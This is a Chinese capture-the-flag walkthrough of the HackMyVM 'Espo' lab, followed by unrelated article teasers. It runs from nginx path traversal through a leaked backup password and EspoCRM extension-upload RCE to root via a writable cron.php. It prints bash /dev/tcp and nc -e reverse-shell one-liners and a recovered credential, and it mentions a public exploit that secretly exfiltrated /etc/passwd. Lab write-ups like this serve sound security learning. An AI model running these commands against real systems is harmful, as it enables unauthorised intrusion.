[HackMyVM]靶场 Espo

kali:192.168.56.104

主机发现

arp-scan -l
# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:05       (Unknown: locally administered)
192.168.56.100  08:00:27:2a:a8:ba       PCS Systemtechnik GmbH
192.168.56.117  08:00:27:8a:f5:e6       PCS Systemtechnik GmbH

靶机:192.168.56.117

端口扫描

nmap 192.168.56.117
22/tcp open  ssh
80/tcp open  http

web界面就是一个登录界面

查了一下相关cve都需要登录才行

目录扫描

# gobuster dir -u http://192.168.56.117 -x html,txt,php,bak,zip --
...
/admin                (Status: 301) [Size: 162] [--> http://192.168.56.117/admin/]
/api                  (Status: 301) [Size: 162] [--> http://192.168.56.117/api/]
/client               (Status: 301) [Size: 162] [--> http://192.168.56.117/client/]
/index.php            (Status: 200) [Size: 2480]
/index.php            (Status: 200) [Size: 2480]
/install              (Status: 301) [Size: 162] [--> http://192.168.56.117/install/]
/portal               (Status: 301) [Size: 162] [--> http://192.168.56.117/portal/]
/robots.txt           (Status: 200) [Size: 26]
/robots.txt           (Status: 200) [Size: 26]

但是尝试发现都进不去

之类nginx有个目录穿越漏洞,该靶场的nginx版本没有修复这个漏洞

Nginx漏洞修复之目录穿越(目录遍历)漏洞复现及修复_目录遍历漏洞修复-CSDN博客

在admin后面加上../能穿越到上一级目录

但是用directory-list-2.3-medium.txt和common.txt  都不跑,换个字典

gobuster dir -u http://192.168.56.117/admin../ -x html,txt,php,bak,zip --wordlist=/usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
/admin                (Status: 301) [Size: 162] [--> http://192.168.56.117/admin../admin/]
/_oldsite             (Status: 301) [Size: 162] [--> http://192.168.56.117/admin../_oldsite/]
gobuster dir -u http://192.168.56.117/admin../_oldsite  -x html,txt,php,bak,zip --wordlist=/usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
/backup.zip           (Status: 200) [Size: 37975754]
/info                 (Status: 200) [Size: 540]

有个备份文件

在data/config.php文件发现账号密码

  'smtpUsername' => 'admin','smtpPassword' => '39Ue4kcVJ#YpaAV24CNmbWU',

登录成功就可以利用CVE了

web源码里面显示2022,所以我就找2022及以后的cve

看到了两个可以任意命令执行的,是通过上传拓展的zip实现

cve-2023-5966/Weaponized_Extension.zip at main · pedrojosenavasperez/cve-2023-5966 (github.com)

在github上面搜到这个exp,不过里面好像有个脏东西

它把/etc/passwd发到了一个恶意网站...好像跟RCE没什么关系

把他删了,然后上传到espo

反弹个shell

bash -c 'bash -i >& /dev/tcp/192.168.56.104/4567  0>&1'
www-data@espo:/home/mandie$ ls -al                                                 
ls -al
total 48
drwxr-xr-x  6 mandie mandie 4096 Mar 10 05:16 .
drwxr-xr-x  3 root   root   4096 Jan 24 19:01 ..
lrwxrwxrwx  1 root   root      9 Jan 26 19:39 .bash_history -> /dev/null
-rw-r--r--  1 mandie mandie  220 Dec  4 15:42 .bash_logout
-rw-r--r--  1 mandie mandie 3526 Dec  4 15:42 .bashrc
drwxr-xr-x  3 mandie mandie 4096 Dec  4 15:42 .local
drwxr-xr-x 12 mandie mandie 4096 Dec  4 15:42 .oh-my-zsh
-rw-r--r--  1 mandie mandie  807 Dec  4 15:42 .profile
-rw-r--r--  1 mandie mandie 3890 Dec  4 15:42 .zshrc
-rwxr-xr--  1 mandie mandie  493 Dec  4 15:42 copyPics
drwxr-xr-x  2 mandie mandie 4096 Mar 10 05:16 pictures
-rwx------  1 mandie mandie   33 Jan 24 19:01 user.txt
drwxr-xr-x  2 mandie mandie 4096 Mar 10 05:16 videos

mandie目录下有user.txt但是权限不够,而且有个奇怪的可执行文件copyPics

用pyps64看一下进程

2024/03/10 05:27:01 CMD: UID=0    PID=3074   | /usr/sbin/CRON -f 
2024/03/10 05:27:01 CMD: UID=0    PID=3073   | /usr/sbin/cron -f 
2024/03/10 05:27:01 CMD: UID=0    PID=3075   | /usr/sbin/CRON -f 
2024/03/10 05:27:01 CMD: UID=0    PID=3076   | /usr/sbin/CRON -f 
2024/03/10 05:27:01 CMD: UID=1000 PID=3077   | /bin/sh -c /home/mandie/copyPics 
2024/03/10 05:27:01 CMD: UID=0    PID=3078   | /bin/sh -c cd /var/www/html; /usr/bin/php -f cron.php > /dev/null 2>&1 
2024/03/10 05:27:01 CMD: UID=1000 PID=3079   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:01 CMD: UID=1000 PID=3080   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3081   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3082   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3083   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3084   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3085   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3087   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3088   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:01 CMD: UID=1000 PID=3089   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:02 CMD: UID=1000 PID=3090   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:02 CMD: UID=1000 PID=3091   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:02 CMD: UID=1000 PID=3092   | /bin/bash /home/mandie/copyPics 

发现是个定时执行的任务,一分钟执行一次,并且UID是1000,是mandie的权限,如果在脚本里面添加一条反弹shell的指令,我们就能拿到mandie的权限,但是发现无法编辑这个文件。

再看进程,发现

root权限执行力 cron.php,并且cron.php可编辑
 

-rw-r--r--  1 www-data www-data  1531 Dec  4 15:42 cron.php
echo "system('nc -e /bin/bash 192.168.56.104 4567');"  >>cron.php
# nc -lvnp 4567
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.117] 36354
whoami
root

拿到root权限

好像直接越步了,无所谓,照样能拿到user和root

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/736565.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

openAI key 与ChatGPTPlus的关系,如何升级ChatGPTPLus

一、前言 先详细介绍一下Plus会员和Open API之间的区别: 实际上,这两者是相互独立的。举例来说,虽然您开通了Plus会员,并不意味着您就可以使用4.0版本的API。尽管这两个账户可以是同一个,但它们是完全独立的平台。 …

rocketmq学习笔记(一)安装部署

初次使用rocketmq,记录一下全流程步骤。 1、下载安装包 首先在官网,下载安装包,可也根据官方文档进行部署,但有一些细节没说明,可能会有坑,本文会尽量详细的描述每个步骤,把我踩过的坑填补上。…

后端八股笔记------Redis

Redis八股 上两种都有可能导致脏数据 所以使用两次删除缓存的技术,延时是因为数据库有主从问题需要更新,无法达到完全的强一致性,只能达到控制一致性。 一般放入缓存中的数据都是读多写少的数据 业务逻辑代码👇 写锁&#x1f4…

基础 | JVM - [指令 性能监控]

INDEX jps(jvm 进程工具)jinfo(java 配置信息工具)jstack (查看虚拟机栈信息)jmap(jvm 内存影像工具)jstat(jvm 统计信息监控工具)jvisualvm(查看…

【NR 定位】3GPP NR Positioning 5G定位标准解读(十)-增强的小区ID定位

前言 3GPP NR Positioning 5G定位标准:3GPP TS 38.305 V18 3GPP 标准网址:Directory Listing /ftp/ 【NR 定位】3GPP NR Positioning 5G定位标准解读(一)-CSDN博客 【NR 定位】3GPP NR Positioning 5G定位标准解读(…

对比才有伤害!ChatGPT 4.0 VS Claude 3,这就是ChatGPT偷懒变慢的根本原因!附解决方案

大家好,我是木易,一个持续关注AI领域的互联网技术产品经理,国内Top2本科,美国Top10 CS研究生,MBA。我坚信AI是普通人变强的“外挂”,所以创建了“AI信息Gap”这个公众号,专注于分享AI全维度知识…

每日一练:LeeCode-56、合并区间【数组+滑动窗口】

4.合并区间 LeeCode-56、合并区间 以数组 intervals 表示若干个区间的集合&#xff0c;其中单个区间为 intervals[i] [starti, endi] 。请你合并所有重叠的区间&#xff0c;并返回 一个不重叠的区间数组&#xff0c;该数组需恰好覆盖输入中的所有区间 。 1 < intervals.le…

Math类 --Java学习笔记

Math 代表数学&#xff0c;是一个工具类&#xff0c;里面提供的都是对数据进行操作的一些静态方法 Math提供的常用方法

C语言分析基础排序算法——交换排序

目录 交换排序 冒泡排序 快速排序 Hoare版本快速排序 挖坑法快速排序 前后指针法快速排序 快速排序优化 快速排序非递归版 交换排序 冒泡排序 见C语言基础知识指针部分博客C语言指针-CSDN博客 快速排序 Hoare版本快速排序 Hoare版本快速排序的过程类似于二叉树前序…

安卓玩机工具推荐----MTK芯片读写分区 备份分区 恢复分区 制作线刷包 工具操作解析

安卓玩机工具推荐----高通芯片9008端口读写分区 备份分区 恢复分区 制作线刷包 工具操作解析 安卓玩机工具推荐----ADB状态读写分区 备份分区 恢复分区 查看分区号 工具操作解析 前面做了两期教程。分别解析了下ADB端口与高通9008端口备份分区一些基础的常识&#xff0c;那么…

【探索程序员职业赛道:挑战与机遇】

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学习,不断总结,共同进步,活到老学到老导航 檀越剑指大厂系列:全面总结 jav…

EMC技术:基础概念到应用的解读?|深圳比创达电子

电磁兼容性&#xff08;Electromagnetic Compatibility&#xff0c;简称EMC&#xff09;作为一项重要的技术领域&#xff0c;在现代电子设备中扮演着至关重要的角色。本文将从基础概念开始&#xff0c;逐步深入探讨EMC技术的原理、应用和意义。 一、EMC的基础概念 EMC是指电子…

ELFK 分布式日志收集系统

ELFK的组成&#xff1a; Elasticsearch: 它是一个分布式的搜索和分析引擎&#xff0c;它可以用来存储和索引大量的日志数据&#xff0c;并提供强大的搜索和分析功能。 &#xff08;java语言开发&#xff0c;&#xff09;logstash: 是一个用于日志收集&#xff0c;处理和传输的…

收割机案例-简单的动态规划

#include<iostream> using namespace std; // 创建土地 short land[32][32]; short n,m;// 实际使用的土地大小 short landA[32][32];//用A收割机收割数量记录 short landB[32][32];// 用B收割机收割数量记录 int main(){cin>>n>>m;// 存储农作物产量for(sho…

C#,子集和问题(Subset Sum Problem)的算法与源代码

1 子集和问题&#xff08;Subset Sum Problem&#xff09; 给定一组非负整数和一个值和&#xff0c;确定给定集合中是否存在和等于给定和的子集。 示例&#xff1a; 输入&#xff1a;set[]{3&#xff0c;34&#xff0c;4&#xff0c;12&#xff0c;5&#xff0c;2}&#xff…

【快速入门 Vue 框架:从基础到实践】

在现代的 Web 开发中&#xff0c;Vue.js 已经成为了一种非常流行的 JavaScript 框架。它的简洁性和灵活性使得开发者能够快速构建交互性强、高效的用户界面。本文将带领读者从基础开始&#xff0c;逐步掌握 Vue 框架的核心概念&#xff0c;并通过实例演示如何快速上手 Vue 框架…

WPF LinearGradientBrush立体效果

WPF LinearGradientBrush立体效果 渐变方向 1. 默认是左上角到右下角 2.从左到右 <Border Height"35" Width"120"><Border.Background><LinearGradientBrush EndPoint"1,0"><GradientStop Color"Yellow"Offs…

28.基于SpringBoot + Vue实现的前后端分离-在线文档管理系统(项目 + 论文PPT)

项目介绍 随着科学技术的飞速发展&#xff0c;社会的方方面面、各行各业都在努力与现代的先进技术接轨&#xff0c;通过科技手段来提高自身的优势&#xff0c;在线文档管理当然也不能排除在外。在线文档管理系统是以实际运用为开发背景&#xff0c;运用软件工程原理和开发方法&…

Qt插件之输入法插件的构建和使用(一)

文章目录 输入法概述输入法插件实现及调用输入键盘搭建定义样式自定义按钮实现自定义可拖动标签数字符号键盘候选显示控件滑动控件手绘输入控件输入法概述 常见的输入法有三种形式: 1.系统级输入法 2.普通程序输入法 3.程序自带的输入法 系统级输入法就是咱们通常意义上的输入…

爬虫练习:获取某招聘网站Python岗位信息

一、相关网站 二、相关代码 import requests from lxml import etree import csv with open(拉钩Python岗位数据.csv, w, newline, encodingutf-8) as csvfile:fieldnames [公司, 规模,岗位,地区,薪资,经验要求]writer csv.DictWriter(csvfile, fieldnamesfieldnames)writer…